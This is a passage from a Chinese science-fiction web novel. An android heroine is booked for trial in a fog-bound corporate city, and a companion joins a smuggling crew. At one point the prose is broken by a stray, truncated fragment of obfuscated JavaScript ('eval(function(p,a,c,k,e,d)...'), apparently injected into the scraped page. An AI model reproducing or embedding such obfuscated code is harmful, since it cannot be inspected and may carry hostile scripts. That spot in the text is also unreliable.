“那就好。”柳怀石顿了顿,又说:“再过几个小时,飞艇就会到达米卡的首都。落地之后,等着你的是一场审判。” “审判?”周向青问。 “是。你昏睡的这大半天里,‘圣女出现了’这条消息现在已经传遍了各方势力。而米卡,‘可控自动化军工复合体’,他们不会这么简单接受活化机械可以与上时代的仿生人产生联系这件事,这对他们的安全理念是个挑战。” “这有什么挑战了?活化机械不也是一种自动化吗?它们就是自己活着而已啊。”周向青想起了环运城的那条大鲸鱼。 “‘自己活着’。说起来简单,但你真的是在‘自己’活着吗?” “算……算是吧?”周向青不确定地说。 这句话大概是触到了柳怀石的逆鳞。他停下脚步,像看一个傻子一样看着周向青,说道:“你也太小看‘自己活着’了。生存是一件很复杂的事情。就拿——”柳怀石的眼珠转了几转,“——拿八哥来说吧。八哥能够‘活着’,其实包括了这么一个链条:太阳提供能量给植物,植物利用二氧化碳通过光合作用合成各种有机物,虫子通过食用植物而制造出自己的有机物,而八哥则吃掉虫子。而如果世界上的虫子彻底消失,那么八哥也会消失。换成仿生人来说,虽然你也能够自己制作一些能量棒这类东西,但实际上你仍旧需要人类创造的整个工业体系,因为你并不能直接从空气和土壤中获取你需要的各种元素。所以,你并不能‘自己活着’。” “这我知道。食物链,很基础的知识。”周向青辩解道。柳怀石所说的东西在她听起来似乎都是她知道的内容,但让她自己说却说不出来。 “对,基础的知识。但活化机械,就目前的观察来看,不但存在各种形态,而且越来越多的机械正在从地底深处涌出来。比如圣女草,就能够从土壤中回收各种元素,就接近植物的生态位了。也正因此,曾经失控过的仿生人再与活化机械产生关联的话,那么的确可能产生再次失控的风险——你们就可以通过活化机械而‘活着’。” “这你就未免有点担心过度了。”周向青说,“圣女草差点没吃了我。而且即便我跟圣女草有什么连接,也没有特别值得注意的事情……” 不。还是有的。圣女草的那些仿生肌纤维会受她的控制。她曾经用那些纤维堵住了枢机主讲胳膊上的排气孔。她想把那些纤维再弄出来,看看到底是怎么回事,但她之前的那些仿生肌纤维已经和枢机主讲的左臂一同炸毁了。这倒是挺遗憾的。 柳怀石道:“或许吧。但我还是建议你做好心理准备。其它的事情,我们到时候再谈。” “谢谢你告诉我这个。”周向青说。 “先说好,我告诉你这个并不是让你逃跑。飞艇在三千米高的空中,你有什么贸然举动,只会粉身碎骨。”柳怀石说完,离开了。 好吧。但不管怎么说,她本来就想到米卡去,不是么? 她要看看那个人的账户里,到底存着什么东西。 61.雾气弥漫的城市01 嘟———— 汽笛声再度把周向青从睡梦中惊醒。 几个小时前,她在跟柳怀石说完话之后,又回到了自己铁笼里的床上。虽然柳怀石请她去宿舍休息,但她拒绝了。她宁可自己呆在笼子里。这能提醒她,她在柳怀石看来,是取保候审的犯人,而不是一个自由人。胖球就站在她的铁笼上方跳来跳去,观察这个陌生的环境,时不时发出一句“你好”,或是哇哇哇的警报声。它有一次飞出舱外,但飞艇周围围绕的力场似乎是让它很不适应,于是又返回宽敞的货舱,不再出去了。 周向青就躺在床上,想着柳怀石说的“审判”到底意味着什么。 这个词给她的印象,是高高在上的法庭、陪审团、辩护、以及围观旁听的民众。但他们要审判她什么?就因为她可能会跟活化机械融合,变成什么“自己活着”的新型自动化机械吗? 她不太明白。 如果姜原还在的话,或许他会有点思路。但姜原不在。如果他没有死的话,他大概会去送回那份文档,或者去做他那些隐秘的不可告人的勾当。总之,她就当他再也不会来了。 而她却要被一群莫名其妙的人审判。 她或许应该一有机会就逃跑。但即便她逃跑,她能够离开这座城市吗? 她还要去检验那个账号和密钥,找到“那个人”留给她的信息。那个人会留给她什么信息?一块装满着她过去记忆的存储器?还是他秘密基地的位置坐标?还是她真正的身体——她只是换了身体才失去了过去的记忆? 如果那样的话,她丢了一只手也不是什么大不了的事情。 她就在这种没完没了的胡思乱想中睡了过去,直到刚才的汽笛声响起。 目前的时间是夜晚。 周向青扶着栏杆,看着下面的城市。 而是位于广阔的平原与交叉的河道间,整个城市被浓雾和滚滚烟尘所笼罩,灯光散成圆圆的一团,加上整座城市中遍布高高的尖塔和烟囱,简直就像是一只巨型豪猪的脊背。而塔楼和烟囱上一红一蓝闪烁着的航标灯,则像是豪猪脊背上摇晃着的小小浆果。 它给人的感觉并不同于那座信仰圣女的坚毅山城。 飞艇正在不断下降,而许多士兵也在舷梯上跑来跑去,忙着做靠港的准备。 他们正在靠向豪猪脊背上最粗最长、最坚硬、最锐利的几根刺。感觉那几根刺只需要轻轻一戳,这艘飞艇就会像气球一样,砰的一声消失无踪。 “你醒了。”柳怀石出现在舷梯边的阴影中。另有两个士兵站在他的身后。“飞艇准备靠港了,跟我来吧。” 胖球还在睡觉。周向青把它抓起来,让胖球站在自己的手指上,然后赶快跟上柳怀石。 飞艇开始靠港了。前方的塔楼越来越近。那座塔如迎客松般,伸出一个悬空的长桥和圆圆的平台。他们的目标大概就是那里。平台上还聚集着十几个穿着制服的人,排成两列,其中一个戴着大檐帽的人站在当中,仰视着他们。 吊舱缓缓下沉,平移,靠近平台。飞艇上方还伸出几只爪钩,与平台上方的立柱一一连接。伴随着一声蜂鸣,踏板两侧伸出磁吸式导轨,搭上平台对应的接口,在一阵轻微的晃动结束之后,柳怀石当先走了过去。 那个戴大檐帽的人一磕鞋跟,敬了一个礼。 “柳观察员。恭喜您成功完成任务。” “谢谢,”柳怀石回过身来,“这位是熔炼科的黄承安科长,他专程来接你到局里办理手续。而这位是卡比利亚的圣女……你叫什么名字?” “周向青。还有,我不认为我是什么圣女。”周向青答道。 “这一点恐怕要由特别法庭来决定,周小姐。我们只讲证据和道理,并不会草率地接受任何一方的说辞。当然,这个‘任何一方’也包括你。”黄科长微笑着伸出右手。但周向青右臂已断,而左手又托着还在打瞌睡的胖球,一时不知道如何是好。黄科长等不到周向青伸手,长着一颗黑痣的嘴角抽动了一下,似乎是轻哼了一声,把手缩了回去。 周向青真的不喜欢这个人。 柳怀石道:“那么周小姐,你就跟他去吧。办过候审手续后,他会给你安排接下来的事情。而我还要跟董事会报告一下这次的结果。就先失陪了。还有,给你这个。5米范围稳定生效。”他把一个像是□□一样的东西递给黄承安。 “我们有专门控制仿生人的设备……但,谢谢观察员。”黄承安科长把那个东西揣进口袋,然后对周向青道:“周小姐,你跟我来。不要离我太远了。” 周向青向前走了两步,被风吹了一个趔趄。她赶忙握紧胖球的脚。胖球也吓了一跳,扑腾了两下翅膀,好悬没被风给吹落下去。 这是因为她们走出了力场发生器的范围。而塔楼悬臂上的风,居然比飞艇上还要大。但最主要的原因,还是她断了一只手后,不太能把握身体的平衡。 黄承安反倒站得笔直,昂着头,叉着手,让衣摆和裤腿在风中猎猎摆动。他制服上的臂章上写着“熔炼煅造科”五个大字。周向青完全不明白这个部门是干什么的。但看上去他们似乎是承担着警察的职务。 那么,他们应该是想把她带到监狱去。 周向青在脑子里盘算逃跑的计划。但要逃跑,她需要从黄承安的口袋里偷走那个控制器;或者一瞬间离开5米的生效范围,然后保持这个距离。 无论那种方式都不太容易。 熔炼科的公司雇员们包围着她,通过平台的悬臂,走向塔楼大门。黄铜包边的门缓缓打开,里面是一个大而简陋的电梯,好似一个装了栅栏的铁饭盒。 他们鱼贯进入饭盒。一个雇员扳动手柄,电梯像失控一样加速下落,同时头顶上的一根像是表针的东西从一端飞快移向另外一端。周向青感觉自己都快要飞起来了。电梯这样下落了不知多久,最后咚的一声,砸在他们要去的楼层。这一下震得雇员们东倒西歪。而黄承安仍然稳稳地站着。 栅门吱扭扭地打开,面前是一条长长的鱼骨一般的走廊,通体泛着暖黄色的灯光。他们就沿着这条走廊前进。每隔两个房间,主廊就向两侧延伸出细窄的过道,而过道两侧整齐地排着完全相同的房门,唯一能够辨识的就是门牌编号。 他们最终来到了走廊末端,或者说,这一层的入口。曲尺形的柜台后坐着一个白白胖胖的男子。他低着头在打瞌睡,口水几乎都要滴上他面前那本长长的登记簿了。他的背后则是中药铺子似的一整面墙的抽屉,每个抽屉上都有一个小小的标签,足以表明这里储存了多少人的信息。 “登记。36号表格。”黄承安拍了拍柜台上的呼叫铃。黄铜铃铛叮叮地响,响声悠长。 那白胖的男子从睡梦中惊醒。他擦去口水,从桌柜抽屉里抽出一摞表格,选出一张放上柜台。黄承安拿起笔,在上面刷刷写个不停。显然业务非常熟练。他快要写完表头的时候,开始问周向青:“姓名?” “周向青。不是刚刚说过了吗?” “怎——么——写。”笔杆啪啪啪地敲着桌面。 “周全的周,朝向的向,青草的青。” “AQA,生产日期。” “2077年8月15日4点52分39秒,嘉兴绿岸电子装配厂3号流水线,检测员6号签字通过。”也不知道怎么回事,从她嘴里突然蹦出这么一串魔咒般的话语。 “AQA,型号?” “PSX3-112AB。”似乎是她的嘴在替她说话。 “喔,安保特供啊。住址。” 周向青感觉嘴巴又回归了自己的控制。大概那个“AQA”就是某种只有她体内的功能才明白的命令吧。“我现在没有住址。”她说。的小房车可能已经被拆解成无数零件,运往各个集市,或者是装在别人的车上了。 “原来是个游民。”黄承安哼了一声。 “我不是游民。”周向青反驳道。 “你们机器人都是游民。你们没有住址,没有联系方式,也没有亲属。你们什么都没有。你们跟这世界上的一草一木都没有联系。你们就是游民。” “你知道自己在说什么吗?我们跟这世界没有关系,那又是谁制造的我们?那个什么,AQA,难道是你天生就会的吗?这个词难道不是我们在这个世界上制造出来的时候,我们跟制造者之间的联系?”周向青怒道。“而且,我并不是跟任何人都没有联系!他们说我是卡比利亚的圣女!虽然我不是。而且,我有工作。虽然现在没了。但我也有像是亲属的人。虽然找不到他。但我还有一只八哥,虽然我都不知道该把它放哪——” 胖球嘎嘎地叫了起来。 黄承安根本都不看胖球一眼。他两道目光像铁钉一样,冷冰冰地顶着周向青的喉咙。“你有米卡境内的有效住址,以及登记在册的所有人吗?” 黄承安的语气和他的视线一样冷。 周向青猛地吸了一口气。“没有。”她说。 “那还不就是游民嘛。走吧!”黄承安在后面推了她一把,示意她通过柜台另一侧后面的栅门。 栅门后是一间过渡式的小屋,黄承安让周向青站在身高线前不要动,然后递给她一个硬纸板,上面写着她的名字和现在时间。 “把这个放在胸前!” 周向青左手接过硬纸板,举到胸前。 “喂!拍照你戴什么帽子!不知道摘掉?”黄承安啪地一掌,把周向青的帽子打在地下。 周向青恨恨地盯着黄承安细长的脖子。她想拧断这家伙的脖颈。不,她应该先偷走控制器,用他当人质,在离开这栋大楼之后,再拧断他的脖颈。 咔嚓。 白光一闪。她的模样被拍了下来。 然后是侧面的照片。 她照完相,放下硬纸板,俯身捡起了帽子,扣在头上。 “快点走!”黄承安大声催促着,推开了另一边带铁栅的门。在门的另一侧是长长的过道,大概那边就是用来监押她的地方了。 到那边之后可能会更复杂。她或许就该马上动手。 把胖球甩到空中,然后出手抓住他的脑袋,往墙上一撞…… “对了,还有一件事。”黄承安突然转过头来。 黄承安似乎没有留意到她的小心思,只是继续说道:“虽然感觉你完——全没有机会,但出于法律规定,我还是必须问你一下。基于你是在复合体境内第一次被捕,有一次取保候审的机会。请问,是否有代理人替你缴纳保释金?只不过由于你是‘卡比利亚圣女’,估计你得交老——大一笔钱。什么?你是一个游民,而且还是穷鬼?好吧。快点进去!” “我——我有钱。”周向青咬牙道。虽然她不知道里面到底有多少。 “什么?” “我、有、钱。” “在哪?就塞在你那盔甲缝里面吗?要不要我替你拿出来?” 周围的雇员们大笑起来。 “我有存单账号。人才……贸易银行的。” 姜原当时似乎是说的这个银行吧?至少她记得是这样。 就连一直板着臭脸的黄承安也扑哧一声笑了。周向青身后的几个雇员更是乐得不可开交。而站在外面的雇员们没听见周向青说了什么,于是那几个雇员边乐边给外面的人解释,然后笑声连绵不绝地响了起来。 “你们笑什么笑?不相信吗?”周向青恼道。 黄承安擦去了眼角的泪水。“你、你一个游民,居然能有人才贸易银行的账户和密码?好,你把钥匙卡拿出来让我们看看!” “钥匙卡?”周向青愣住了。她不知道还有这种东西。 “连钥匙卡都不知道!”众人哄堂大笑。“你没有钥匙卡,难道要靠自己的手输入密码不成?256位的密钥,你记得住?”黄承安笑弯了腰。 但他这句话说出来之后,其他人的笑声反而慢慢停下来了。大家你看看我,我看看你,已经开始觉得事情有些不对。黄承安自己也意识到了这一点,原本咧到耳根的嘴角也垂了下来。 “我可以手动输入。”周向青说。 “好。那我就给你一个机会。正好能找点乐子。走!” 他们退出照相的小屋,黄承安冲柜台后的白胖子叫道:“李铭,你把你那个玩意拿出来。圣女大人要交赎金了!可惜不是骑士们那种叮当响的金币,嗯?” 但这个无聊的冷笑话并没有激起多少笑声。 白胖子从柜台下的抽屉里抽出一把长长的黄铜键盘,吹去上面的灰尘,然后按下了一个键。 键盘上连接的电缆直通向旁边的一个黑漆漆的盒子,信号传过去,嘟的一声,黑盒子上面亮起了黄色的信号灯。 “好了,账户是多少?”李铭把他的小胖手指放上了键盘对应的位置。 “9587 3250 5681 7842 6584 587。”周向青在报上账户号码之后,有一点后悔了。虽然她知道“那个人”留给她的账户里,应该不会存着那么直接可以被外人也一眼看穿的信息;但到底有没有钱,有多少钱,够不够保释金的金额,这一点她还是没底的。 或许她就应该直接动手。现在动手也正是机会。 李铭敲完了那长长一串数字。 黑盒子沉默了一会后,滴的一声,黄灯变成了绿色。 黄承安的笑声停止了。“可以啊,小妞,居然让你蒙中了一个账号。但还有256位的密码呢。” 李铭把那把键盘递了过来,放在柜台上。 所有人的眼睛都盯着周向青的手。 周向青斥道:“看什么看,输密码你们不回避?” 黄承安冷笑一声。“好,回避。我们回避。”他白了周向青一眼,和其余雇员一同转过身去。 现在就是最好的机会。周向青盯着黄承安的口袋。她甚至能看到控制器的把手。 要动手,就趁现在。 她把胖球放上自己的右肩,然后慢慢伸出手去。 &#!1l5VRz6rZ7C$NUt8P@^ha14dsk&2…… 键盘似乎永无止歇地咔哒作响。256位的密码一位一位敲进电脑。 她最终还是忍住了。或许她也还是想知道那个人到底给她留下了什么东西。就算是马上就要被送进监牢,就算是在场的这些没品熔炼科雇员也有可能偷窥到她的秘密也好。 她还是想知道。 敲下回车键后,黑盒子陷入了长长的静默。 黄承安回过身来,双手插在腰间的皮带上,两眼挑衅般地望着周向青,一面说道:“怎么,输错了?要不要再来一次?我这一整晚都能陪着你慢慢试呢。只可惜,你最多只能输两次,不然把别人的账户锁定就不好了。” “不,不是输错了。如果是输错了,那么早就会有反应了。”李铭的双眼紧盯着那个盒子。 黑盒子一言不发,就像因为什么原因,迟迟不愿给出回复一样。 “喂,到底怎么了?”“不知道,我也看不到啊。”后面的雇员们等不到科长的反应,交头接耳起来。 “你们吵个屁!”黄承安转头骂道。 但就在这时,黑盒子发出了久等的蜂鸣声。 滴—— 绿灯亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不用交你的赎金了?”周向青又问。 黄承安笑了。但这回的笑不是轻蔑的冷笑,而是一种说不上是畏惧还是困惑的紧张的笑。“真的不必了。赎……什么的,只是个玩笑。我们相信您。你有什么事的话,就去这个牌子对应的房间,里面的人会负责您所有的事情。” 周向青愣住了。这些人为什么变脸这么快?用尽手段把她抓过来,然后又轻轻松松就放掉。难道她明天不去那个什么房间,他们就能把她怎么样吗?不。倒不如说是,那个人的账户里真的有什么能够说服这帮家伙的东西。 那到底是什么? 她看着被黄承安丢到角落的纸团。她想知道上面的内容。 但既然已经可以随便离开,那她何必请这些前倨后恭的变色龙做事?她宁可自己到那个银行去问个清楚。 “那我走了。”她说。 “请便。啊,但是,虽然我们让您自由离开,但并不代表审判就此取消了。明天早上,还是请到牌子上那个房间一趟。毕竟,审判不是小事。” 虽然不知道黄承安的最后一句话是什么意思,但周向青决定不再废话。她挤过那些一脸茫然的雇员,离开了这栋楼。 门外是朦胧但一点都不黯淡的夜色。街灯和窗户中透出的光线被厚重的雾气折射到每一个角落,整条街都水津津、亮闪闪的,只是并不见一辆车开过。 周向青走下长长的台阶,扭头去看了一眼她刚刚走出来的建筑。 那栋黑沉沉的大楼笔直向上延伸,消失在雾气朦胧的黑暗中,她竟看不清它的顶端,甚至找不到她下来的悬臂和圆台,更别说飞艇了。而像这样的楼附近还有许多,它们影影幢幢连成一体,像是从地面中伸出的巨手,让她觉得马上就要一把抓下来,牢牢把她按住一样。 这是一座完全陌生的城市。 而她与这座城市唯一的联系,只是那个莫名其妙的“审判”。 这个奇怪的地方跟程光颐在咖啡馆里描述的完全不同。在程光颐的描述中,公司似乎只是无穷无尽的超大型工厂,空气中是刺鼻的浓烟和火焰的热量,而每一间厂房里都有不计其数的奴隶工人在日以继夜汗流浃背地像机械一样抡动大锤或是拧紧螺丝,他们时不时掀起肩上的毛巾擦去汗水,利用工作的间隙大口吞咽食物和冷水。 但这里给她的感觉却截然不同。阴暗、湿冷,像是整座城市已经这样在暗无天日的浓雾中度过了几百年。她感觉自己的希望和热情正在一丝一毫地被抽出来,消散在黏滞的空气中。 周向青不由得打了个哆嗦,穿过街道,向灯光更强烈的方向走去。 不知走了多久,路上的行人总算渐渐多了起来。 但这里的人都穿着大风衣,压低帽檐,像是害怕别人看到他们的脸一样,匆匆从雾中现身,然后又匆匆消失在浓雾之中。感觉上就像整条街都是姜原。有几个人在经过她身边的时候看到她,一个个都露出见鬼一样的表情,盯着她的护甲。她低头看了看,才想起她的甲片上都有统修会的红色三角标记。 这未免也太扎眼了。 怎么办? 周向青犹豫片刻,还是钻进了路边的一家服装店。反正那个人的账号里应该有钱。而且她总不能一直把胖球托在手上。如果不是现在光线太暗,只怕它早就飞到不知哪里去了。 周向青也没心思精挑细选,只是随手拿了一件能盖住自己身体的宽大风衣,就去柜台结账。 但在她报上账户,输入密码,打印出凭条之后,店老板的脸色就像黄承安和李铭那时一样,短短一分钟内变了三十六种颜色。 “嘿嘿,您直接拿去吧,一点小意思而已。”他阿谀地笑着。 “啊?”周向青一愣。“真的不用吗?” “不用了,真的用不着。或者您有零钱的时候再来光顾小店也行,这次就当做个朋友……啊不,怎么好意思呢……您能赏光就已经是很大的情分了。” 周向青觉得有点尴尬。店老板看到她脸色不佳,明显紧张了起来。“这个嘛……小店的东西肯定不合您心意……但请千万不要见怪,我们也是小本买卖……这里又都是普通百姓……” 周向青无奈。既然对方这么说了。她本来也没心情多纠缠。 “那就这样吧。只是你手里的那张凭条,能不能给我?”她问。她想看看那上面到底写了什么东西。 “这……您要它干什么呢……这玩意对您来说也没什么用不是么?”店主恋恋不舍地把那凭条抱在自己胸前,好像担心她就此把凭条抢走一般。 “我就是想看看。”她说。“看看……余额。” “好吧。”店主把凭条递了过去。她想拿过来,但店主却捏着凭条并不放手。她只好横过脑袋,看看上面到底写了什么东西。 纸条上的内容非常简单。 除了日期以外,就只有一个名字。易谦明。以及一个编号。SSSR0000000。 这不是“人才贸易银行”的账户吗?怎么不是钱,而是一个名字?周向青一时无法理解。而且,区区一个名字,有那么大的威力吗? 不,或许是有的。她想起了环运城的杜老板。而且这个编号,7个0,必然是一个很特殊的人。 “请问……您对小店的服务有什么意见吗?”大概是看周向青的脸色不太好,那个店主问道。 “没有。只是我想知道,这个易谦明是谁呀?” “你怎么随便叫他的名字——等等,你不知道?那你怎么会——怎么会——你的账号和密码是哪来的?”店主一愣,脸色渐渐凝重起来。 “是我——父亲的。” “你父亲的?你父亲叫什么名字?”那店主一手将那张凭条扯回自己胸前,一只手伸向旁边的电话。 “我——再见!”周向青身子弹过柜台,劈手撕下店主手中的凭条,裹紧衣服,冲出店门。 “有,有贼啊!”背后传来一声尖叫。 62.雾气弥漫的城市02 姜原做出一副胸有成竹的样子,看着面前的四个人。 而白少俊完全不相信姜原的承诺。 “你有什么东西?能避免我们价值评级下调?”白少俊狐疑地问。 “其实并不能算是什么东西。是一条信息。我之前说我是从环运城去石岗旅游,的确是谎言。我真正的目的是一份文档。” “什么文档?难道是世界政府的最后一份文档吗?”关铁震哈哈笑了起来。 “但可惜,正是如此。我拿到了关于那份文档的消息。”姜原道。他尽量不去看自己身边的那个藏青色小盒子。 “真的?”关铁震的眼睛瞪得跟灯泡一样。 “得了吧。那份文档不可能找得到的。我还记得,三年前签订停火协议的时候,关于发现最后一份文档的流言简直是满天飞,但最后还不是不了了之。前几天在环运城爆发枪战,米卡和统修会都死了不少人。再加上昨天晚上的进攻,停火协议实际上已经打破了。这基本说明,各方都放弃了寻找这份文档的尝试。”郑小楼插嘴道。 “嗯嗯,我也是这么觉得。但这位小兄弟,你怎么说?”关铁震虽然嘴上支持郑小楼的发言,但两只眼睛仍然落在姜原身上。而且就连称呼也变回了“小兄弟”。 “表面上是这样的。实际上的情况绝非如此。公司和教会在环运城的那次交火,就是为了争夺那份文档。看上去他们双方都被环运城镇压了,但实际上那份文档的持有人偷偷来到了卡比利亚。她在卡比利亚与枢机主讲短暂的会谈之后,便准备一同前往石岗城,跟枢机团会面。但他们前往石岗城的列车被袭击了,而袭击列车的就是——” 关铁震一拍大腿,骂道:“妈的!我就知道这事不简单!怎么可能为了那么点小事就把飞艇开到这个地方来!原来是因为这个!” “你激动什么。如果这样的话,岂不是文档已经落到上面那些人手里了?我们看到飞艇吊走了一节车厢,大概那就是了。”白少俊冷言冷语。 “不,不会的。因为袭击列车的人不知道这件事。他们只知道目标是卡比利亚的圣女。而且,虽然他们已经抓住了圣女,那份文档也不是圣女随身携带。她应该是已经把它藏在什么地方了——因为我从环运城一路跟过来,并没有发现那份文档到底在哪。” “你的意思是,如果我们能去找到那什么圣女,就能——”关铁震问。 “对,应该就能知道那份文档的下落。”姜原答道。 “即便你这么说,圣女也依然在上层那些人手里。如果不出意外,大概就在那个地方关着。仍然很难。”白少俊说。 “嗯。铸造局啊。那就麻烦了。”马延仙沉吟道。 “什么意思?”姜原不解。 郑小楼解释道:“可控自动化铸造局,简称铸造局。虽然叫铸造局,但不铸造机器,而是铸造人的思想。所有违反可控自动化安全法的人,都会被送进去。所以你说的那个什么圣女如果真的被抓过去了,大概就会被关到那里吧。” “所以我们没什么机会咯。唉,本来还以为有戏的。”关铁震一脸沮丧。 这个发展方向是姜原没有想到的。如果无法鼓动这些人的话,那么他只能先保证到申宁以后给他们一笔钱了。 “如果你想把她捞出来,当然是没机会了。像她那种案底,不知道要交多少钱才够。但如果只是想进去跟她见个面的话,没准还真的有戏。”郑小楼说。 “啊?真的可以吗?”关铁震问。 “嗯。理论上可以。我们可以提出替她缴纳保释金,然后就能申请确认她的身份,就可以现场见一个面。钱嘛,只要再拒绝缴纳就行。但这一招大概只能玩一次,而且见面的时间也非常有限。问题只是,我们能在那么短的时间里,让她说出来那份文档的信息吗?而且要知道,在铸造局里面的对话是要全程录音的。” “那么复杂呀。我觉得可能还是用马老爷子的办法好些呢。”关铁震往后一靠,仰过身子。他的光头都快伸到船尾溅起的水花里面了。 白少俊则在一旁冷冷地望着姜原。“所以你之前没有去车头,实际上是去找那个‘圣女’了?而且你现在还要跟我们一起到申宁去。你真的认为自己拿得到那份文档吗?这么渺茫的事情,一般人肯定不会去做吧。” “是很渺茫没错。”姜原答道。“但是我也有我的理由。” “你是什么理由,说来听听。”白少俊说。 他应该说什么呢? 他并不打算说服白少俊。说服一个已经开始怀疑你的人是很困难的。他大概也无法真的说服马延仙。刚才这个老人家已经展现出他可以说是“无情”也可以说是“通达”的一面了。郑小楼虽然看上去喜欢讲事实找方法,但姜原记得她在列车上说过,她跟关铁震相遇的情况。如果能说服关铁震,那么就能把她拉到自己这一边来。 而说服关铁震的话——姜原记得在列车上时,关铁震似乎提过他小时候去打野鸡的事情。感觉上他与他的外表不同,反而是一个相对比较感性的人。 “是这样的。就如白少俊所怀疑的,我的确不完全是为了钱。我是为了那份文档之中的内容。你们也知道,那份文档是世界政府汇集了自动化大崩溃期间所有的记录,包括了他们的应对、调查、实验、总结。而其中很关键的一部分,就是关于人工智能是如何受自动化大崩溃影响的研究,在文档中的代号是‘茂山’实验。” “所以……你就是为了研究大崩溃?” “不。研究大崩溃的,是我的父亲。他一直觉得,如果我们能够弄明白自动化崩溃的理由,而不是去反对自动化,或研究活化机械,试图避开当年的问题的话,就能够更快速地恢复到崩溃之前的社会生产状况中去。他经常看崩溃前留下来的影像资料,我也跟着他一起看过不少。那个时代——真的可以说,看上去要比现在好得多了。毕竟我们用的很多东西都是崩溃前的产物。但基本没有多少人支持他的看法。他们觉得,崩溃前的人在那么优越的条件下都没能找出原因,我们当然也不行。于是我的父亲只有一个人研究。而一个人研究的进度,总是很慢的,他也不是什么天才。我在长大之后,也对研究的前景失去了信心,所以也离开他,去了学院,只留他一个人在家里。可能他也是出于绝望吧,他最后选择用脑机接口,跟仿生人的神经直接连接,找出崩溃的原因。” “那……那岂不是……”郑小楼睁大了眼睛。 “对。然后,他就疯了。”姜原讲到这里,深深吸了一口气,续道:“我想要找到那份记录,当然也不是认为能治好他之类的——我的父亲已经死了。而且,我也不认为我能够一个人弄清楚大崩溃到底是怎么一回事。但我作为一个儿子,我只是想知道,他在发疯前到底经历了什么。” 关铁震厚厚的大手按到了姜原的肩膀上,同时用另一只手抹去了眼角了泪珠。“真是感人!既然这样,我们不帮你都说不过去了!对不对,兄弟们?”他对另外三个人说道。 “这不帮忙,就说不过去了。就算机会渺茫,试一试也不花费什么。”马延仙说道。 郑小楼也点头称是。而白少俊只是哼了一声,说:“关老大总是这样。我看你这次又要白费功夫了。” 关铁震嘿嘿笑了两声,对姜原伸出手来。“那这样的话,你就和我们一起到申宁去吧。那么,正式欢迎你加入‘四大恶人’。愿你的价值能够实现。” “愿你的价值能够实现。”另外三人异口同声地说。大概这就是他们对成员的仪式。 姜原握住了关铁震的手,跟着说道:“愿我们的价值能够实现。” 关铁震微微笑了,他附到姜原耳边,用几乎听不到的声音说:“虽然我不知道你说的话里有几成是真的,但我很欣赏你。我们现在的确缺少你这么一个角色。” 姜原一愣,转过头,望向关铁震的眼睛。 关铁震像是什么都不知道一样,豪爽地笑着,说:“我很中意你哦。” 姜原不由得打了个哆嗦。这次并不是因为冷,而是他不知道自己的选择到底是凶,还是吉。 几个小时后,汽艇已经开近石峡,停在靠山的灵津。 石峡大坝是汋河上最为重要的一个设施,它除了水力发电之外,同时也连接上下游的关键航道。自从统修会控制了石峡大坝之后,从这里通往下游的船只都必须在灵津登记,然后才能进入船闸。即便后来统修会与米卡展开了旷日持久的战争,这里的水运却并没有因此而停歇。 那是因为,虽然明面上一切统修会与米卡的贸易都被双方各自禁止,但实际上双方的需求却不会因此消除,于是交易就从台面上移到了台面下。石峡大坝上游的灵津,以及下游的蚬埠,变成了最大的双子黑市。米卡和统修会的货船与客船如往日一样聚集在附近的码头,在夜色的掩护下通过船闸,卸货交易,然后再原路返回。 而像关铁震他们这样的小船想要通过,就更加简单了。他们只需要在登记处缴纳一笔费用,然后管理人员会给他们一张在夜晚的探照灯下显出异色的旗帜。他们只需要把这面旗帜挂在船上,驶进升降机,大概一个小时就可以来到下游的蚬埠,然后把旗帜交给那边的人。当然也有一些船主想节省下这笔费用,不把旗帜交回,但用不了几天,这个人就会“失足落水”,浮在汋河的江面上,而那面旗子也会从他的船上回到双子码头。 总之,姜原和“四大恶人”把船停好以后,就在灵津上了岸。关铁震要去办通航手续,白少俊则想先 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郑小楼似乎没有注意到姜原的存在。她在专心比较几件不同花纹的衬衫和外套。她现在还穿的是跟王西凤交换的裙装,大概因此觉得有点不舒服吧。姜原本来打算就此悄悄离开,但他想到自己还不知道白少俊他们到底去了哪里,便坐在一旁等待,顺便看看店里的电视。 “……枢机主讲此番搭乘的列车在离开新竹后爆炸,据相关人士猜测,很有可能是统修会内某些不支持卡比利亚主讲朱启儒继任圣座的派别所为。这是本台记者从现场发回的图像……可见出于未知原因,一等与特等车厢之间被人为原因断开,这可以解释为该袭击的策划者并不想波及一般民众……我们也收到相关消息,据说在列车经过云阳并未停车,就是因为那时袭击者已经控制了车头驾驶室。总之,本台会对这一重大悲剧保持关注……” 哦——已经开始报道了吗? 没想到他们的动作这么快。 不过反过头来想想,枢机主讲那种人,一定早就准备好了与其配套的计划。大概原本的计划是,程光颢在事后站出来首先决定舆论的大方向,然后其它媒体再紧锣密鼓的跟进,不断爆出证据推波助澜,再加上枢机主讲本人身后的政治势力施加压力,最终得到一个无法翻案的铁论。 但在程光颢已死,后续风向未知的情况下,这些媒体此时仍然采用预设的立场,可能会导致民众的态度反转。如果这样继续下去的话,说不定朱启儒大主讲反而会在圣座选举中失利,而那时候上台的会是…… “你……你怎么在这?”一个女声打断了他的思路。 姜原转头一看,原来是刚刚买完衣服的郑小楼。郑小楼此时换下了裙子,穿着男式的衬衫和套装。男版衣服显得她的肩膀和裤腿都宽宽松松,再加上她的短发,给人一种别样的闲散感觉,非常清爽。 “啊,我也是来换衣服的。之前的衣服都让河水泡坏了,穿着很不舒服。所以就来了。”姜原直起身,张开手,让她看自己刚换的衣服。他仍旧穿的是那种高领子,深口袋的风衣,因为这样好藏他的盒子。只是这个小镇并没有学院的整备点,他仍然一件武器都没有,两手空空。 “好吧。那就当你是巧合咯。” “就是巧合而已。不过,我倒是的确指望靠你去找他们呢。” “嗯,那你跟我来吧。”郑小楼径自走出商店。 姜原看着她的背影,想起了自己认识的另外一个姓胡的女孩子——虽然眼前这个人很可能并不姓胡。不知道胡筱秋现在到底怎么样了。这两天他也没有时间关注环运城那边的消息。 “怎么了?”大概是感觉到姜原正在看她,郑小楼回头问道。 “没什么。只是想起了之前认识的一个人。”姜原加快脚步,走到她侧面。 “哦——你这种搭讪的技术可真差。只可惜,我没有那种兴趣。” “所以你才穿成这个样子?” “是。可以减少很多麻烦。” 姜原点了点头。她的生存态度倒是跟胡筱秋颇不相同。“但麻烦不会因为你躲开它,它就不来找你。” “就像你现在这样吗?” “啊?什么呀!我也完全没有那个兴趣。” “哦?为什么,因为你刚才说的故事吗?” 